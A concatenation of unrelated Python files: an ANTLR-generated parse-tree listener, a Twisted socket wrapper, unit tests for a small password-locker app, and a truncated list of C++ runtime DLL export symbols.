from .EvansParser import EvansParser
else:
from EvansParser import EvansParser
# This class defines a complete listener for a parse tree produced by EvansParser.
class EvansListener(ParseTreeListener):
# Enter a parse tree produced by EvansParser#codeFile.
def enterCodeFile(self, ctx:EvansParser.CodeFileContext):
pass
# Exit a parse tree produced by EvansParser#codeFile.
def exitCodeFile(self, ctx:EvansParser.CodeFileContext):
pass
# Enter a parse tree produced by EvansParser#classDeclaration.
def enterClassDeclaration(self, ctx:EvansParser.ClassDeclarationContext):
pass
# Exit a parse tree produced by EvansParser#classDeclaration.
def exitClassDeclaration(self, ctx:EvansParser.ClassDeclarationContext):
pass
# Enter a parse tree produced by EvansParser#classBody.
def enterClassBody(self, ctx:EvansParser.ClassBodyContext):
pass
# Exit a parse tree produced by EvansParser#classBody.
def exitClassBody(self, ctx:EvansParser.ClassBodyContext):
pass
# Enter a parse tree produced by EvansParser#attributeList.
def enterAttributeList(self, ctx:EvansParser.AttributeListContext):
pass
# Exit a parse tree produced by EvansParser#attributeList.
def exitAttributeList(self, ctx:EvansParser.AttributeListContext):
pass
# Enter a parse tree produced by EvansParser#stateList.
def enterStateList(self, ctx:EvansParser.StateListContext):
pass
# Exit a parse tree produced by EvansParser#stateList.
def exitStateList(self, ctx:EvansParser.StateListContext):
pass
# Enter a parse tree produced by EvansParser#constructorList.
def enterConstructorList(self, ctx:EvansParser.ConstructorListContext):
pass
# Exit a parse tree produced by EvansParser#constructorList.
def exitConstructorList(self, ctx:EvansParser.ConstructorListContext):
pass
# Enter a parse tree produced by EvansParser#functionList.
def enterFunctionList(self, ctx:EvansParser.FunctionListContext):
pass
# Exit a parse tree produced by EvansParser#functionList.
def exitFunctionList(self, ctx:EvansParser.FunctionListContext):
pass
# Enter a parse tree produced by EvansParser#goalList.
def enterGoalList(self, ctx:EvansParser.GoalListContext):
pass
# Exit a parse tree produced by EvansParser#goalList.
def exitGoalList(self, ctx:EvansParser.GoalListContext):
pass
# Enter a parse tree produced by EvansParser#predicateList.
def enterPredicateList(self, ctx:EvansParser.PredicateListContext):
pass
# Exit a parse tree produced by EvansParser#predicateList.
def exitPredicateList(self, ctx:EvansParser.PredicateListContext):
pass
# Enter a parse tree produced by EvansParser#operatorList.
def enterOperatorList(self, ctx:EvansParser.OperatorListContext):
pass
# Exit a parse tree produced by EvansParser#operatorList.
def exitOperatorList(self, ctx:EvansParser.OperatorListContext):
pass
# Enter a parse tree produced by EvansParser#functionDeclaration.
def enterFunctionDeclaration(self, ctx:EvansParser.FunctionDeclarationContext):
pass
# Exit a parse tree produced by EvansParser#functionDeclaration.
def exitFunctionDeclaration(self, ctx:EvansParser.FunctionDeclarationContext):
pass
# Enter a parse tree produced by EvansParser#goalDeclaration.
def enterGoalDeclaration(self, ctx:EvansParser.GoalDeclarationContext):
pass
# Exit a parse tree produced by EvansParser#goalDeclaration.
def exitGoalDeclaration(self, ctx:EvansParser.GoalDeclarationContext):
pass
# Enter a parse tree produced by EvansParser#mainDeclaration.
def enterMainDeclaration(self, ctx:EvansParser.MainDeclarationContext):
pass
# Exit a parse tree produced by EvansParser#mainDeclaration.
def exitMainDeclaration(self, ctx:EvansParser.MainDeclarationContext):
pass
# Enter a parse tree produced by EvansParser#nameList.
def enterNameList(self, ctx:EvansParser.NameListContext):
pass
# Exit a parse tree produced by EvansParser#nameList.
def exitNameList(self, ctx:EvansParser.NameListContext):
pass
# Enter a parse tree produced by EvansParser#nameWithAttrList.
def enterNameWithAttrList(self, ctx:EvansParser.NameWithAttrListContext):
pass
# Exit a parse tree produced by EvansParser#nameWithAttrList.
def exitNameWithAttrList(self, ctx:EvansParser.NameWithAttrListContext):
pass
# Enter a parse tree produced by EvansParser#constructorDeclaration.
def enterConstructorDeclaration(self, ctx:EvansParser.ConstructorDeclarationContext):
pass
# Exit a parse tree produced by EvansParser#constructorDeclaration.
def exitConstructorDeclaration(self, ctx:EvansParser.ConstructorDeclarationContext):
pass
# Enter a parse tree produced by EvansParser#genVarDeclaration.
def enterGenVarDeclaration(self, ctx:EvansParser.GenVarDeclarationContext):
pass
# Exit a parse tree produced by EvansParser#genVarDeclaration.
def exitGenVarDeclaration(self, ctx:EvansParser.GenVarDeclarationContext):
pass
# Enter a parse tree produced by EvansParser#variableInitializer.
def enterVariableInitializer(self, ctx:EvansParser.VariableInitializerContext):
pass
# Exit a parse tree produced by EvansParser#variableInitializer.
def exitVariableInitializer(self, ctx:EvansParser.VariableInitializerContext):
pass
# Enter a parse tree produced by EvansParser#listInitializer.
def enterListInitializer(self, ctx:EvansParser.ListInitializerContext):
pass
# Exit a parse tree produced by EvansParser#listInitializer.
def exitListInitializer(self, ctx:EvansParser.ListInitializerContext):
pass
# Enter a parse tree produced by EvansParser#genParameters.
def enterGenParameters(self, ctx:EvansParser.GenParametersContext):
pass
# Exit a parse tree produced by EvansParser#genParameters.
def exitGenParameters(self, ctx:EvansParser.GenParametersContext):
pass
# Enter a parse tree produced by EvansParser#predicateDeclaration.
def enterPredicateDeclaration(self, ctx:EvansParser.PredicateDeclarationContext):
pass
# Exit a parse tree produced by EvansParser#predicateDeclaration.
def exitPredicateDeclaration(self, ctx:EvansParser.PredicateDeclarationContext):
pass
# Enter a parse tree produced by EvansParser#operatorDeclaration.
def enterOperatorDeclaration(self, ctx:EvansParser.OperatorDeclarationContext):
pass
# Exit a parse tree produced by EvansParser#operatorDeclaration.
def exitOperatorDeclaration(self, ctx:EvansParser.OperatorDeclarationContext):
pass
# Enter a parse tree produced by EvansParser#operatorBody.
def enterOperatorBody(self, ctx:EvansParser.OperatorBodyContext):
pass
# Exit a parse tree produced by EvansParser#operatorBody.
def exitOperatorBody(self, ctx:EvansParser.OperatorBodyContext):
pass
# Enter a parse tree produced by EvansParser#operatorCodeBlock.
def enterOperatorCodeBlock(self, ctx:EvansParser.OperatorCodeBlockContext):
pass
# Exit a parse tree produced by EvansParser#operatorCodeBlock.
def exitOperatorCodeBlock(self, ctx:EvansParser.OperatorCodeBlockContext):
pass
# Enter a parse tree produced by EvansParser#genCodeBlock.
def enterGenCodeBlock(self, ctx:EvansParser.GenCodeBlockContext):
pass
# Exit a parse tree produced by EvansParser#genCodeBlock.
def exitGenCodeBlock(self, ctx:EvansParser.GenCodeBlockContext):
pass
# Enter a parse tree produced by EvansParser#blockStatement.
def enterBlockStatement(self, ctx:EvansParser.BlockStatementContext):
pass
# Exit a parse tree produced by EvansParser#blockStatement.
def exitBlockStatement(self, ctx:EvansParser.BlockStatementContext):
pass
# Enter a parse tree produced by EvansParser#varDeclarationStatement.
def enterVarDeclarationStatement(self, ctx:EvansParser.VarDeclarationStatementContext):
pass
# Exit a parse tree produced by EvansParser#varDeclarationStatement.
def exitVarDeclarationStatement(self, ctx:EvansParser.VarDeclarationStatementContext):
pass
# Enter a parse tree produced by EvansParser#IfStatement.
def enterIfStatement(self, ctx:EvansParser.IfStatementContext):
pass
# Exit a parse tree produced by EvansParser#IfStatement.
def exitIfStatement(self, ctx:EvansParser.IfStatementContext):
pass
# Enter a parse tree produced by EvansParser#WhileStatement.
def enterWhileStatement(self, ctx:EvansParser.WhileStatementContext):
pass
# Exit a parse tree produced by EvansParser#WhileStatement.
def exitWhileStatement(self, ctx:EvansParser.WhileStatementContext):
pass
# Enter a parse tree produced by EvansParser#ForStatement.
def enterForStatement(self, ctx:EvansParser.ForStatementContext):
pass
# Exit a parse tree produced by EvansParser#ForStatement.
def exitForStatement(self, ctx:EvansParser.ForStatementContext):
pass
# Enter a parse tree produced by EvansParser#RetStatement.
def enterRetStatement(self, ctx:EvansParser.RetStatementContext):
pass
# Exit a parse tree produced by EvansParser#RetStatement.
def exitRetStatement(self, ctx:EvansParser.RetStatementContext):
pass
# Enter a parse tree produced by EvansParser#BreakContStatement.
def enterBreakContStatement(self, ctx:EvansParser.BreakContStatementContext):
pass
# Exit a parse tree produced by EvansParser#BreakContStatement.
def exitBreakContStatement(self, ctx:EvansParser.BreakContStatementContext):
pass
# Enter a parse tree produced by EvansParser#ExpressionStatement.
def enterExpressionStatement(self, ctx:EvansParser.ExpressionStatementContext):
pass
# Exit a parse tree produced by EvansParser#ExpressionStatement.
def exitExpressionStatement(self, ctx:EvansParser.ExpressionStatementContext):
pass
# Enter a parse tree produced by EvansParser#assignmentStatement.
def enterAssignmentStatement(self, ctx:EvansParser.AssignmentStatementContext):
pass
# Exit a parse tree produced by EvansParser#assignmentStatement.
def exitAssignmentStatement(self, ctx:EvansParser.AssignmentStatementContext):
pass
# Enter a parse tree produced by EvansParser#TernaryExpression.
def enterTernaryExpression(self, ctx:EvansParser.TernaryExpressionContext):
pass
# Exit a parse tree produced by EvansParser#TernaryExpression.
def exitTernaryExpression(self, ctx:EvansParser.TernaryExpressionContext):
pass
# Enter a parse tree produced by EvansParser#LiteralExpression.
def enterLiteralExpression(self, ctx:EvansParser.LiteralExpressionContext):
pass
# Exit a parse tree produced by EvansParser#LiteralExpression.
def exitLiteralExpression(self, ctx:EvansParser.LiteralExpressionContext):
pass
# Enter a parse tree produced by EvansParser#VarExpression.
def enterVarExpression(self, ctx:EvansParser.VarExpressionContext):
pass
# Exit a parse tree produced by EvansParser#VarExpression.
def exitVarExpression(self, ctx:EvansParser.VarExpressionContext):
pass
# Enter a parse tree produced by EvansParser#EqualExpression.
def enterEqualExpression(self, ctx:EvansParser.EqualExpressionContext):
pass
# Exit a parse tree produced by EvansParser#EqualExpression.
def exitEqualExpression(self, ctx:EvansParser.EqualExpressionContext):
pass
# Enter a parse tree produced by EvansParser#IndexExpression.
def enterIndexExpression(self, ctx:EvansParser.IndexExpressionContext):
pass
# Exit a parse tree produced by EvansParser#IndexExpression.
def exitIndexExpression(self, ctx:EvansParser.IndexExpressionContext):
pass
# Enter a parse tree produced by EvansParser#NotExpression.
def enterNotExpression(self, ctx:EvansParser.NotExpressionContext):
pass
# Exit a parse tree produced by EvansParser#NotExpression.
def exitNotExpression(self, ctx:EvansParser.NotExpressionContext):
pass
# Enter a parse tree produced by EvansParser#CompareExpression.
def enterCompareExpression(self, ctx:EvansParser.CompareExpressionContext):
pass
# Exit a parse tree produced by EvansParser#CompareExpression.
def exitCompareExpression(self, ctx:EvansParser.CompareExpressionContext):
pass
# Enter a parse tree produced by EvansParser#OrExpression.
def enterOrExpression(self, ctx:EvansParser.OrExpressionContext):
pass
# Exit a parse tree produced by EvansParser#OrExpression.
def exitOrExpression(self, ctx:EvansParser.OrExpressionContext):
pass
# Enter a parse tree produced by EvansParser#ParensExpression.
def enterParensExpression(self, ctx:EvansParser.ParensExpressionContext):
pass
# Exit a parse tree produced by EvansParser#ParensExpression.
def exitParensExpression(self, ctx:EvansParser.ParensExpressionContext):
pass
# Enter a parse tree produced by EvansParser#AddSubExpression.
def enterAddSubExpression(self, ctx:EvansParser.AddSubExpressionContext):
pass
# Exit a parse tree produced by EvansParser#AddSubExpression.
def exitAddSubExpression(self, ctx:EvansParser.AddSubExpressionContext):
pass
# Enter a parse tree produced by EvansParser#AndExpression.
def enterAndExpression(self, ctx:EvansParser.AndExpressionContext):
pass
# Exit a parse tree produced by EvansParser#AndExpression.
def exitAndExpression(self, ctx:EvansParser.AndExpressionContext):
pass
# Enter a parse tree produced by EvansParser#PrefixExpression.
def enterPrefixExpression(self, ctx:EvansParser.PrefixExpressionContext):
pass
# Exit a parse tree produced by EvansParser#PrefixExpression.
def exitPrefixExpression(self, ctx:EvansParser.PrefixExpressionContext):
pass
# Enter a parse tree produced by EvansParser#AttrExpression.
def enterAttrExpression(self, ctx:EvansParser.AttrExpressionContext):
pass
# Exit a parse tree produced by EvansParser#AttrExpression.
def exitAttrExpression(self, ctx:EvansParser.AttrExpressionContext):
pass
# Enter a parse tree produced by EvansParser#CallExpression.
def enterCallExpression(self, ctx:EvansParser.CallExpressionContext):
pass
# Exit a parse tree produced by EvansParser#CallExpression.
def exitCallExpression(self, ctx:EvansParser.CallExpressionContext):
pass
# Enter a parse tree produced by EvansParser#MulDivExpression.
def enterMulDivExpression(self, ctx:EvansParser.MulDivExpressionContext):
pass
# Exit a parse tree produced by EvansParser#MulDivExpression.
def exitMulDivExpression(self, ctx:EvansParser.MulDivExpressionContext):
pass
# Enter a parse tree produced by EvansParser#methodCall.
def enterMethodCall(self, ctx:EvansParser.MethodCallContext):
pass
# Exit a parse tree produced by EvansParser#methodCall.
def exitMethodCall(self, ctx:EvansParser.MethodCallContext):
pass
# Enter a parse tree produced by EvansParser#validAttr.
def enterValidAttr(self, ctx:EvansParser.ValidAttrContext):
pass
# Exit a parse tree produced by EvansParser#validAttr.
def exitValidAttr(self, ctx:EvansParser.ValidAttrContext):
pass
# Enter a parse tree produced by EvansParser#expressionList.
def enterExpressionList(self, ctx:EvansParser.ExpressionListContext):
pass
# Exit a parse tree produced by EvansParser#expressionList.
def exitExpressionList(self, ctx:EvansParser.ExpressionListContext):
pass
# Enter a parse tree produced by EvansParser#returnType.
def enterReturnType(self, ctx:EvansParser.ReturnTypeContext):
pass
# Exit a parse tree produced by EvansParser#returnType.
def exitReturnType(self, ctx:EvansParser.ReturnTypeContext):
pass
# Enter a parse tree produced by EvansParser#genType.
def enterGenType(self, ctx:EvansParser.GenTypeContext):
pass
# Exit a parse tree produced by EvansParser#genType.
def exitGenType(self, ctx:EvansParser.GenTypeContext):
pass
# Enter a parse tree produced by EvansParser#genLiteral.
def enterGenLiteral(self, ctx:EvansParser.GenLiteralContext):
pass
# Exit a parse tree produced by EvansParser#genLiteral.
def exitGenLiteral(self, ctx:EvansParser.GenLiteralContext):
pass
# Enter a parse tree produced by EvansParser#classType.
def enterClassType(self, ctx:EvansParser.ClassTypeContext):
pass
# Exit a parse tree produced by EvansParser#classType.
def exitClassType(self, ctx:EvansParser.ClassTypeContext):
pass
# Enter a parse tree produced by EvansParser#embeddedType.
def enterEmbeddedType(self, ctx:EvansParser.EmbeddedTypeContext):
pass
# Exit a parse tree produced by EvansParser#embeddedType.
def exitEmbeddedType(self, ctx:EvansParser.EmbeddedTypeContext):
pass
|
nilq/baby-python
|
python
|
from builtins import object
import logging
from twisted.internet import abstract
from twisted.internet.tcp import Server
from twisted.internet import address, fdesc
log = logging.getLogger(__name__)
# AcceptedSocket
class AcceptedSocket(object):
transport = Server
def __init__(self, skt, addr, factory, reactor, interface=''):
self.skt = skt
self.addr = addr
self.factory = factory
self.reactor = reactor
self._realPortNumber = skt.getsockname()[1]
self._addressType = address.IPv4Address
if abstract.isIPv6Address(interface):
self._addressType = address.IPv6Address
def _buildAddr(self, addr):
host, port = addr[:2]
return self._addressType('TCP', host, port)
def start(self):
fdesc._setCloseOnExec(self.skt.fileno())
protocol = self.factory.buildProtocol(self._buildAddr(self.addr))
if protocol is None:
log.error("Can't create protocol")
return False
transport = self.transport(
self.skt, protocol, self.addr, self, 1, self.reactor)
protocol.makeConnection(transport)
return True
|
nilq/baby-python
|
python
|
import unittest
from user import User
from credentials import Credentials
import pyperclip
class TestUser(unittest.TestCase):
"""
Test case that defines the behavior that should be evident in the user class
"""
new_user= User("Mary","Wanjiku","wanjiku254")
new_account_name= Credentials("Instagram","Mary","wanjikuMburu254")
def test_setUp(self):
"""
setup method that is executed before any test case is executed
"""
self.new_user= User("Mary","Wanjiku","wanjiku254")
self.new_account_name= Credentials("Instagram","Mary","wanjikuMburu254")
def test_tearDown(self):
"""
tearDown method that clears up everything after all the tests are executed
"""
User.user_details= []
Credentials.info_details= []
#Test to check whether the user details have been well initialized
def test_init__(self):
"""
A test that checks whether the object is well initialized
"""
self.assertEqual(self.new_user.first_name,"Mary")
self.assertEqual( self.new_user.second_name,"Wanjiku")
self.assertEqual(self.new_user.password,"wanjiku254")
self.assertEqual(self.new_account_name.account_name,"Instagram")
self.assertEqual(self.new_account_name.info_password,"wanjikuMburu254")
#Test that checks whether the user details have been saved
def test_save_user(self):
"""
A test that checks whether the user details have been saved
"""
self.new_user.save_user()
self.assertEqual(len(User.user_details),4)
#Test that deletes the user's account
def test_delete_user(self):
"""
A test that tries to check whether the user's account is deletable or deletes the user's account
"""
self.new_user.save_user()
test_user= User("Mary","Wanjiku","wanjiku254")
test_user.save_user()
self.new_user.delete_account()
self.assertEqual(len(User.user_details),1)
#A test that finds user by first name
def test_find_by_first_name(self):
"""
A test that finds user using the first name
"""
self.new_user.save_user()
Mary = User("Mary","Wanjiku","wanjiku254")
Mary.save_user()
found_user= User.find_by_first_name("Mary")
self.assertEqual(found_user.first_name,"Mary")
#A test that displays the user
def test_display_user(self):
"""
This test displays the user
"""
self.assertEqual(User.display_user(), User.user_details)
#A test that copies credentials on the clipboard
def test_copy_credentials(self):
"""
Method that tests whether a user can copy credentials on the clipboard
"""
self.new_account_name.save_info()
Instagram=Credentials("Instagram", "Mary","wanjikuMburu254")
Instagram.save_info()
found_credentials=None
for credentials in Credentials.info_details:
found_credentials=Credentials.find_by_first_name(
credentials.first_name)
return pyperclip.copy(found_credentials.info_password)
Credentials.copy_credentials(self.info_details.first_name)
self.assertEqual("wanjikuMburu254",pyperclip.paste())
print(pyperclip.paste())
if __name__ == '__main__':
unittest.main()
|
nilq/baby-python
|
python
|
symbols = []
exports = [{'type': 'function', 'name': '??$_Getvals@_W@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@IEAAX_WAEBV_Locinfo@1@@Z', 'address': '0x7ffb3bb2d310'}, {'type': 'function', 'name': '??$_Getvals@_W@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@IEAAX_WAEBV_Locinfo@1@@Z', 'address': '0x7ffb3bb2d310'}, {'type': 'function', 'name': '??$_Getvals@_W@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IEAAX_WAEBV_Locinfo@1@@Z', 'address': '0x7ffb3bb2d310'}, {'type': 'function', 'name': '??0?$_Yarn@D@std@@QEAA@AEBV01@@Z', 'address': '0x7ffb3bb48b50'}, {'type': 'function', 'name': '??0?$_Yarn@D@std@@QEAA@PEBD@Z', 'address': '0x7ffb3bb257f0'}, {'type': 'function', 'name': '??0?$_Yarn@D@std@@QEAA@XZ', 'address': '0x7ffb3bb10600'}, {'type': 'function', 'name': '??0?$_Yarn@G@std@@QEAA@AEBV01@@Z', 'address': '0x7ffb3bb48b80'}, {'type': 'function', 'name': '??0?$_Yarn@G@std@@QEAA@PEBG@Z', 'address': '0x7ffb3bb48bb0'}, {'type': 'function', 'name': '??0?$_Yarn@G@std@@QEAA@XZ', 'address': '0x7ffb3bb25820'}, {'type': 'function', 'name': '??0?$_Yarn@_W@std@@QEAA@AEBV01@@Z', 'address': '0x7ffb3bb48be0'}, {'type': 'function', 'name': '??0?$_Yarn@_W@std@@QEAA@PEB_W@Z', 'address': '0x7ffb3bb48c10'}, {'type': 'function', 'name': '??0?$_Yarn@_W@std@@QEAA@XZ', 'address': '0x7ffb3bb25820'}, {'type': 'function', 'name': '??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ', 'address': '0x7ffb3bb07250'}, {'type': 'function', 'name': '??0?$basic_ios@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z', 'address': '0x7ffb3bb48c40'}, {'type': 'function', 'name': '??0?$basic_ios@GU?$char_traits@G@std@@@std@@IEAA@XZ', 'address': '0x7ffb3bb06be0'}, {'type': 'function', 'name': '??0?$basic_ios@GU?$char_traits@G@std@@@std@@QEAA@PEAV?$basic_streambuf@GU?$char_traits@G@std@@@1@@Z', 'address': '0x7ffb3bb48c90'}, {'type': 'function', 'name': '??0?$basic_ios@_WU?$char_traits@_W@std@@@std@@IEAA@XZ', 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'function', 'name': '?wcout@std@@3V?$basic_ostream@_WU?$char_traits@_W@std@@@1@A', 'address': '0x7ffb3bb93370'}, {'type': 'function', 'name': '?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QEBADD@Z', 'address': '0x7ffb3bb06d60'}, {'type': 'function', 'name': '?widen@?$basic_ios@GU?$char_traits@G@std@@@std@@QEBAGD@Z', 'address': '0x7ffb3bb14e90'}, {'type': 'function', 'name': '?widen@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEBA_WD@Z', 'address': '0x7ffb3bb06ef0'}, {'type': 'function', 'name': '?widen@?$ctype@D@std@@QEBADD@Z', 'address': '0x7ffb3bb10840'}, {'type': 'function', 'name': '?widen@?$ctype@D@std@@QEBAPEBDPEBD0PEAD@Z', 'address': '0x7ffb3bb289e0'}, {'type': 'function', 'name': '?widen@?$ctype@G@std@@QEBAGD@Z', 'address': '0x7ffb3bb14c80'}, {'type': 'function', 'name': '?widen@?$ctype@G@std@@QEBAPEBDPEBD0PEAG@Z', 'address': '0x7ffb3bb28a00'}, {'type': 'function', 'name': '?widen@?$ctype@_W@std@@QEBAPEBDPEBD0PEA_W@Z', 'address': '0x7ffb3bb28a00'}, {'type': 'function', 'name': '?widen@?$ctype@_W@std@@QEBA_WD@Z', 'address': '0x7ffb3bb14c80'}, {'type': 'function', 'name': '?width@ios_base@std@@QEAA_J_J@Z', 'address': '0x7ffb3bb10180'}, {'type': 'function', 'name': '?width@ios_base@std@@QEBA_JXZ', 'address': '0x7ffb3bb10250'}, {'type': 'function', 'name': '?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@PEBD_J@Z', 'address': '0x7ffb3bb02e10'}, {'type': 'function', 'name': '?write@?$basic_ostream@GU?$char_traits@G@std@@@std@@QEAAAEAV12@PEBG_J@Z', 'address': '0x7ffb3bb54d40'}, {'type': 'function', 'name': '?write@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@PEB_W_J@Z', 'address': '0x7ffb3bb54e60'}, {'type': 'function', 'name': '?xalloc@ios_base@std@@SAHXZ', 'address': '0x7ffb3bb28a20'}, {'type': 'function', 'name': '?xsgetn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JPEAD_J@Z', 'address': '0x7ffb3bb451b0'}, {'type': 'function', 'name': '?xsgetn@?$basic_streambuf@GU?$char_traits@G@std@@@std@@MEAA_JPEAG_J@Z', 'address': '0x7ffb3bb44380'}, {'type': 'function', 'name': '?xsgetn@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@MEAA_JPEA_W_J@Z', 'address': '0x7ffb3bb44380'}, {'type': 'function', 'name': '?xsputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JPEBD_J@Z', 'address': '0x7ffb3bb05690'}, {'type': 'function', 'name': '?xsputn@?$basic_streambuf@GU?$char_traits@G@std@@@std@@MEAA_JPEBG_J@Z', 'address': '0x7ffb3bb0f4f0'}, {'type': 'function', 'name': '?xsputn@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@MEAA_JPEB_W_J@Z', 'address': '0x7ffb3bb11210'}, {'type': 'function', 'name': '_Chmod', 'address': '0x7ffb3bb28a60'}, {'type': 'function', 'name': '_Close_dir', 'address': '0x7ffb3bb28ae0'}, {'type': 'function', 'name': '_Cnd_broadcast', 'address': '0x7ffb3bb0f9d0'}, {'type': 'function', 'name': '_Cnd_destroy', 'address': '0x7ffb3bb434b0'}, {'type': 'function', 'name': '_Cnd_destroy_in_situ', 'address': '0x7ffb3bb0fc90'}, {'type': 'function', 'name': '_Cnd_do_broadcast_at_thread_exit', 'address': '0x7ffb3bb109f0'}, {'type': 'function', 'name': '_Cnd_init', 'address': '0x7ffb3bb434e0'}, {'type': 'function', 'name': '_Cnd_init_in_situ', 'address': '0x7ffb3bb10190'}, {'type': 'function', 'name': '_Cnd_register_at_thread_exit', 'address': '0x7ffb3bb24d60'}, {'type': 'function', 'name': '_Cnd_signal', 'address': '0x7ffb3bb104e0'}, {'type': 'function', 'name': '_Cnd_timedwait', 'address': '0x7ffb3bb0f7f0'}, {'type': 'function', 'name': '_Cnd_unregister_at_thread_exit', 'address': '0x7ffb3bb24e40'}, {'type': 'function', 'name': '_Cnd_wait', 'address': '0x7ffb3bb107b0'}, {'type': 'function', 'name': '_Copy_file', 'address': '0x7ffb3bb28af0'}, {'type': 'function', 'name': '_Cosh', 'address': '0x7ffb3bb1f790'}, {'type': 'function', 'name': '_Current_get', 'address': '0x7ffb3bb28b30'}, {'type': 'function', 'name': '_Current_set', 'address': '0x7ffb3bb28b70'}, {'type': 'function', 'name': '_Denorm', 'address': '0x7ffb3bb92a00'}, {'type': 'function', 'name': '_Dtest', 'address': '0x7ffb3bb1ff00'}, {'type': 'function', 'name': '_Equivalent', 'address': '0x7ffb3bb28b90'}, {'type': 'function', 'name': '_Exp', 'address': '0x7ffb3bb20010'}, {'type': 'function', 'name': '_FCosh', 'address': '0x7ffb3bb20150'}, {'type': 'function', 'name': '_FDenorm', 'address': '0x7ffb3bb92920'}, {'type': 'function', 'name': '_FDtest', 'address': '0x7ffb3bb20710'}, {'type': 'function', 'name': '_FExp', 'address': '0x7ffb3bb20830'}, {'type': 'function', 'name': '_FInf', 'address': '0x7ffb3bb928e0'}, {'type': 'function', 'name': '_FNan', 'address': '0x7ffb3bb92900'}, {'type': 'function', 'name': '_FSinh', 'address': '0x7ffb3bb21120'}, {'type': 'function', 'name': '_FSnan', 'address': '0x7ffb3bb92930'}, {'type': 'function', 'name': '_File_size', 'address': '0x7ffb3bb28cf0'}, {'type': 'function', 'name': '_Getcoll', 'address': '0x7ffb3bb10960'}, {'type': 'function', 'name': '_Getctype', 'address': '0x7ffb3bb0ec00'}, {'type': 'function', 'name': '_Getcvt', 'address': '0x7ffb3bb0eb60'}, {'type': 'function', 'name': '_Getdateorder', 'address': '0x7ffb3bb0ecd0'}, {'type': 'function', 'name': '_Getwctype', 'address': '0x7ffb3bb212c0'}, {'type': 'function', 'name': '_Getwctypes', 'address': '0x7ffb3bb21300'}, {'type': 'function', 'name': '_Hard_links', 'address': '0x7ffb3bb28d50'}, {'type': 'function', 'name': '_Hugeval', 'address': '0x7ffb3bb929e0'}, {'type': 'function', 'name': '_Inf', 'address': '0x7ffb3bb929a0'}, {'type': 'function', 'name': '_LCosh', 'address': '0x7ffb3bb21340'}, {'type': 'function', 'name': '_LDenorm', 'address': '0x7ffb3bb92980'}, {'type': 'function', 'name': '_LDtest', 'address': '0x7ffb3bb21590'}, {'type': 'function', 'name': '_LExp', 'address': '0x7ffb3bb215a0'}, {'type': 'function', 'name': '_LInf', 'address': '0x7ffb3bb92940'}, {'type': 'function', 'name': '_LNan', 'address': '0x7ffb3bb92960'}, {'type': 'function', 'name': '_LSinh', 'address': '0x7ffb3bb21ef0'}, {'type': 'function', 'name': '_LSnan', 'address': '0x7ffb3bb92990'}, {'type': 'function', 'name': '_Last_write_time', 'address': '0x7ffb3bb28e10'}, {'type': 'function', 'name': '_Link', 'address': '0x7ffb3bb28e70'}, {'type': 'function', 'name': '_Lock_shared_ptr_spin_lock', 'address': '0x7ffb3bb10520'}, {'type': 'function', 'name': '_Lstat', 'address': '0x7ffb3bb28eb0'}, {'type': 'function', 'name': '_Make_dir', 'address': '0x7ffb3bb28ec0'}, {'type': 'function', 'name': '_Mbrtowc', 'address': '0x7ffb3bb0eab0'}, {'type': 'function', 'name': '_Mtx_clear_owner', 'address': '0x7ffb3bb43550'}, {'type': 'function', 'name': '_Mtx_current_owns', 'address': '0x7ffb3bb0ff70'}, {'type': 'function', 'name': '_Mtx_destroy', 'address': '0x7ffb3bb43560'}, {'type': 'function', 'name': '_Mtx_destroy_in_situ', 'address': '0x7ffb3bb0ffb0'}, {'type': 'function', 'name': '_Mtx_getconcrtcs', 'address': '0x7ffb3bb435a0'}, {'type': 'function', 'name': '_Mtx_init', 'address': '0x7ffb3bb435b0'}, {'type': 'function', 'name': '_Mtx_init_in_situ', 'address': '0x7ffb3bb0fb90'}, {'type': 'function', 'name': '_Mtx_lock', 'address': '0x7ffb3bb0f6a0'}, {'type': 'function', 'name': '_Mtx_reset_owner', 'address': '0x7ffb3bb43610'}, {'type': 'function', 'name': '_Mtx_timedlock', 'address': '0x7ffb3bb43640'}, {'type': 'function', 'name': '_Mtx_trylock', 'address': '0x7ffb3bb131f0'}, {'type': 'function', 'name': '_Mtx_unlock', 'address': '0x7ffb3bb0f7c0'}, {'type': 'function', 'name': '_Mtxdst', 'address': '0x7ffb3bb220d0'}, {'type': 'function', 'name': '_Mtxinit', 'address': '0x7ffb3bb220e0'}, {'type': 'function', 'name': '_Mtxlock', 'address': '0x7ffb3bb22100'}, {'type': 'function', 'name': '_Mtxunlock', 'address': '0x7ffb3bb22110'}, {'type': 'function', 'name': '_Nan', 'address': '0x7ffb3bb929c0'}, {'type': 'function', 'name': '_Open_dir', 'address': '0x7ffb3bb28f00'}, {'type': 'function', 'name': '_Query_perf_counter', 'address': '0x7ffb3bb0fb20'}, {'type': 'function', 'name': '_Query_perf_frequency', 'address': '0x7ffb3bb0fb00'}, {'type': 'function', 'name': '_Read_dir', 'address': '0x7ffb3bb29030'}, {'type': 'function', 'name': '_Remove_dir', 'address': '0x7ffb3bb29100'}, {'type': 'function', 'name': '_Rename', 'address': '0x7ffb3bb29120'}, {'type': 'function', 'name': '_Resize', 'address': '0x7ffb3bb29150'}, {'type': 'function', 'name': '_Set_last_write_time', 'address': '0x7ffb3bb291f0'}, {'type': 'function', 'name': '_Sinh', 'address': '0x7ffb3bb22790'}, {'type': 'function', 'name': '_Snan', 'address': '0x7ffb3bb929f0'}, {'type': 'function', 'name': '_Stat', 'address': '0x7ffb3bb137f0'}, {'type': 'function', 'name': '_Statvfs', 'address': '0x7ffb3bb29280'}, {'type': 'function', 'name': '_Stod', 'address': '0x7ffb3bb22910'}, {'type': 'function', 'name': '_Stodx', 'address': '0x7ffb3bb22920'}, {'type': 'function', 'name': '_Stof', 'address': '0x7ffb3bb22b80'}, {'type': 'function', 'name': 